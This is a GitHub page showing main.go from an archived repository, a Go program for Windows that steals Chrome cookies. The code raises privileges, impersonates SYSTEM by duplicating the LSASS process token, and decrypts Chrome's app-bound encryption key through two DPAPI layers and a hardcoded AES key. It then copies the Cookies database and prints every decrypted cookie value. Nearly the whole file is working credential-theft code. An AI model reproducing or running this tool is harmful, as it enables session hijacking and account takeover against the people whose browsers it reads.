This repository was archived by the owner on Jan 22, 2025. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathmain.go
More file actions
389 lines (320 loc) · 9.93 KB
/
main.go
File metadata and controls
389 lines (320 loc) · 9.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
package main
import (
"crypto/aes"
"crypto/cipher"
"database/sql"
"encoding/base64"
"encoding/json"
"fmt"
"golang.org/x/sys/windows"
_ "modernc.org/sqlite"
"os"
"path/filepath"
"syscall"
"unsafe"
)
var (
crypt32 = syscall.NewLazyDLL("crypt32.dll")
procCryptUnprotectData = crypt32.NewProc("CryptUnprotectData")
advapi32 = syscall.NewLazyDLL("advapi32.dll")
procImpersonateLoggedOnUser = advapi32.NewProc("ImpersonateLoggedOnUser")
procRevertToSelf = advapi32.NewProc("RevertToSelf")
ntdll = syscall.NewLazyDLL("ntdll.dll")
procRtlAdjustPrivilege = ntdll.NewProc("RtlAdjustPrivilege")
)
type dataBlob struct {
cbData uint32
pbData *byte
}
type LocalState struct {
OSCrypt struct {
AppBoundEncryptedKey string `json:"app_bound_encrypted_key"`
} `json:"os_crypt"`
}
type Cookie struct {
Host string
Name string
Value string
Path string
Expire string
}
func enablePrivilege() error {
var privilege uint32 = 20
var previousValue uint32 = 0
ret, _, _ := procRtlAdjustPrivilege.Call(
uintptr(privilege),
uintptr(1),
uintptr(0),
uintptr(unsafe.Pointer(&previousValue)),
)
if ret != 0 {
return fmt.Errorf("RtlAdjustPrivilege failed with status: %x", ret)
}
return nil
}
func findLsassProcess() (*windows.Handle, error) {
h, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, fmt.Errorf("CreateToolhelp32Snapshot failed: %v", err)
}
defer windows.CloseHandle(h)
var pe windows.ProcessEntry32
pe.Size = uint32(unsafe.Sizeof(pe))
if err = windows.Process32First(h, &pe); err != nil {
return nil, fmt.Errorf("Process32First failed: %v", err)
}
for {
name := windows.UTF16ToString(pe.ExeFile[:])
if name == "lsass.exe" {
handle, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, false, pe.ProcessID)
if err != nil {
return nil, fmt.Errorf("OpenProcess failed: %v", err)
}
return &handle, nil
}
err = windows.Process32Next(h, &pe)
if err != nil {
if err == syscall.ERROR_NO_MORE_FILES {
break
}
return nil, fmt.Errorf("Process32Next failed: %v", err)
}
}
return nil, fmt.Errorf("lsass.exe not found")
}
func getSystemToken() (windows.Token, error) {
if err := enablePrivilege(); err != nil {
return 0, fmt.Errorf("failed to enable privileges: %v", err)
}
processHandle, err := findLsassProcess()
if err != nil {
return 0, fmt.Errorf("failed to find LSASS process: %v", err)
}
defer windows.CloseHandle(*processHandle)
var token windows.Token
err = windows.OpenProcessToken(*processHandle, windows.TOKEN_DUPLICATE|windows.TOKEN_QUERY, &token)
if err != nil {
return 0, fmt.Errorf("OpenProcessToken failed: %v", err)
}
var duplicatedToken windows.Token
err = windows.DuplicateTokenEx(token, windows.TOKEN_ALL_ACCESS, nil, windows.SecurityImpersonation, windows.TokenPrimary, &duplicatedToken)
if err != nil {
token.Close()
return 0, fmt.Errorf("DuplicateTokenEx failed: %v", err)
}
token.Close()
return duplicatedToken, nil
}
func impersonateSystem() (windows.Token, error) {
token, err := getSystemToken()
if err != nil {
return 0, err
}
ret, _, err := procImpersonateLoggedOnUser.Call(uintptr(token))
if ret == 0 {
token.Close()
return 0, fmt.Errorf("ImpersonateLoggedOnUser failed: %v", err)
}
return token, nil
}
func dpapi_decrypt(data []byte, asSystem bool) ([]byte, error) {
if asSystem {
token, err := impersonateSystem()
if err != nil {
return nil, fmt.Errorf("failed to impersonate SYSTEM: %v", err)
}
defer token.Close()
defer procRevertToSelf.Call()
}
var dataIn, dataOut dataBlob
var entropy dataBlob
dataIn.cbData = uint32(len(data))
dataIn.pbData = &data[0]
flags := uint32(1) // CRYPTPROTECT_UI_FORBIDDEN
ret, _, err := procCryptUnprotectData.Call(
uintptr(unsafe.Pointer(&dataIn)),
0,
uintptr(unsafe.Pointer(&entropy)),
0,
0,
uintptr(flags),
uintptr(unsafe.Pointer(&dataOut)),
)
if ret == 0 {
return nil, fmt.Errorf("CryptUnprotectData failed: %v", err)
}
defer syscall.LocalFree(syscall.Handle(unsafe.Pointer(dataOut.pbData)))
decrypted := make([]byte, dataOut.cbData)
copy(decrypted, unsafe.Slice(dataOut.pbData, dataOut.cbData))
return decrypted, nil
}
func decryptChromeKey() ([]byte, error) {
userProfile := os.Getenv("USERPROFILE")
if userProfile == "" {
return nil, fmt.Errorf("USERPROFILE environment variable not set")
}
localStatePath := filepath.Join(userProfile, "AppData", "Local", "Google", "Chrome", "User Data", "Local State")
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil, fmt.Errorf("failed to read Local State: %v", err)
}
var localState LocalState
if err := json.Unmarshal(data, &localState); err != nil {
return nil, fmt.Errorf("failed to parse Local State: %v", err)
}
app_bound_encrypted_key := localState.OSCrypt.AppBoundEncryptedKey
if app_bound_encrypted_key == "" {
return nil, fmt.Errorf("no encrypted key found in Local State")
}
// decode from b64
decoded, err := base64.StdEncoding.DecodeString(app_bound_encrypted_key)
if err != nil {
return nil, fmt.Errorf("failed to decode encrypted key: %v", err)
}
if string(decoded[:4]) != "APPB" {
return nil, fmt.Errorf("invalid key prefix")
}
// decrypt with system elevation DPAPI
decrypted1, err := dpapi_decrypt(decoded[4:], true)
if err != nil {
return nil, fmt.Errorf("first DPAPI decrypt failed: %v", err)
}
// decrypt with user level DPAPI
decrypted2, err := dpapi_decrypt(decrypted1, false)
if err != nil {
return nil, fmt.Errorf("second DPAPI decrypt failed: %v", err)
}
// get last 61 bytes
if len(decrypted2) < 61 {
return nil, fmt.Errorf("decrypted key too short, got %d bytes", len(decrypted2))
}
decrypted_key := decrypted2[len(decrypted2)-61:]
if decrypted_key[0] != 1 {
return nil, fmt.Errorf("invalid key format")
}
// decrypt key with AES256GCM
aes_key, err := base64.StdEncoding.DecodeString("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
if err != nil {
return nil, fmt.Errorf("failed to decode AES key: %v", err)
}
// key parts
iv := decrypted_key[1 : 1+12]
ciphertext := decrypted_key[1+12 : 1+12+32]
tag := decrypted_key[1+12+32:]
// create AES-GCM cipher
block, err := aes.NewCipher(aes_key)
if err != nil {
return nil, fmt.Errorf("failed to create cipher: %v", err)
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, fmt.Errorf("failed to create GCM: %v", err)
}
// decrypt final key
key, err := aesGCM.Open(nil, iv, append(ciphertext, tag...), nil)
if err != nil {
return nil, fmt.Errorf("failed to decrypt key: %v", err)
}
return key, nil
}
func decryptCookieValue(encryptedValue []byte, key []byte) (string, error) {
if len(encryptedValue) < 31 { // 3 (flag) + 12 (IV) + min_data + 16 (tag)
return "", fmt.Errorf("encrypted value too short")
}
// extract IV, ciphertext, and tag, skipping the first 3 bytes
cookieIV := encryptedValue[3:15]
encryptedCookie := encryptedValue[15 : len(encryptedValue)-16]
cookieTag := encryptedValue[len(encryptedValue)-16:]
// combine encrypted data and tag for GCM decryption
encryptedDataWithTag := append(encryptedCookie, cookieTag...)
block, err := aes.NewCipher(key)
if err != nil {
return "", fmt.Errorf("failed to create cipher: %v", err)
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return "", fmt.Errorf("failed to create GCM: %v", err)
}
plaintext, err := aesGCM.Open(nil, cookieIV, encryptedDataWithTag, nil)
if err != nil {
return "", fmt.Errorf("failed to decrypt: %v", err)
}
// chrome cookies have a 32-byte prefix in the plaintext that can be skipped
if len(plaintext) <= 32 {
return "", fmt.Errorf("decrypted value too short")
}
return string(plaintext[32:]), nil
}
func getCookies(key []byte) ([]Cookie, error) {
userProfile := os.Getenv("USERPROFILE")
dbPath := filepath.Join(userProfile, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Network", "Cookies")
tempDir := os.TempDir()
tempDB := filepath.Join(tempDir, "cookies.db")
data, err := os.ReadFile(dbPath)
if err != nil {
return nil, fmt.Errorf("failed to read cookie database: %v", err)
}
if err := os.WriteFile(tempDB, data, 0600); err != nil {
return nil, fmt.Errorf("failed to write temporary database: %v", err)
}
defer os.Remove(tempDB)
db, err := sql.Open("sqlite", tempDB)
if err != nil {
return nil, fmt.Errorf("failed to open database: %v", err)
}
defer db.Close()
// query cookie db
rows, err := db.Query(`SELECT host_key, name, CAST(encrypted_value AS BLOB), path, expires_utc from cookies`)
if err != nil {
return nil, fmt.Errorf("failed to query database: %v", err)
}
defer rows.Close()
var cookies []Cookie
for rows.Next() {
var cookie Cookie
var encryptedValue []byte
err := rows.Scan(
&cookie.Host,
&cookie.Name,
&encryptedValue,
&cookie.Path,
&cookie.Expire
)
if err != nil {
return nil, fmt.Errorf("failed to scan row: %v", err)
}
fmt.Printf("\nCookie: %s\n", cookie.Name)
fmt.Printf("Raw encrypted value (%d bytes): %x\n", len(encryptedValue), encryptedValue)
// decrypt cookie value
decrypted, err := decryptCookieValue(encryptedValue, key)
if err != nil {
fmt.Printf("Warning: failed to decrypt cookie %s: %v\n", cookie.Name, err)
continue
}
cookie.Value = decrypted
cookies = append(cookies, cookie)
}
return cookies, nil
}
func main() {
key, err := decryptChromeKey()
if err != nil {
fmt.Printf("Failed to decrypt Chrome key: %v\n", err)
return
}
fmt.Printf("chrome key: %s\n", base64.StdEncoding.EncodeToString(key))
cookies, err := getCookies(key)
if err != nil {
fmt.Printf("Failed to get cookies: %v\n", err)
return
}
fmt.Printf("\nFound %d cookies:\n", len(cookies))
for _, cookie := range cookies {
fmt.Printf("\nHost: %s\n", cookie.Host)
fmt.Printf("Name: %s\n", cookie.Name)
fmt.Printf("Value: %s\n", cookie.Value)
fmt.Printf("Path: %s\n", cookie.Path)
fmt.Printf("Expire: %s\n", cookie.Expire)
fmt.Printf("-------------------\n")
}
}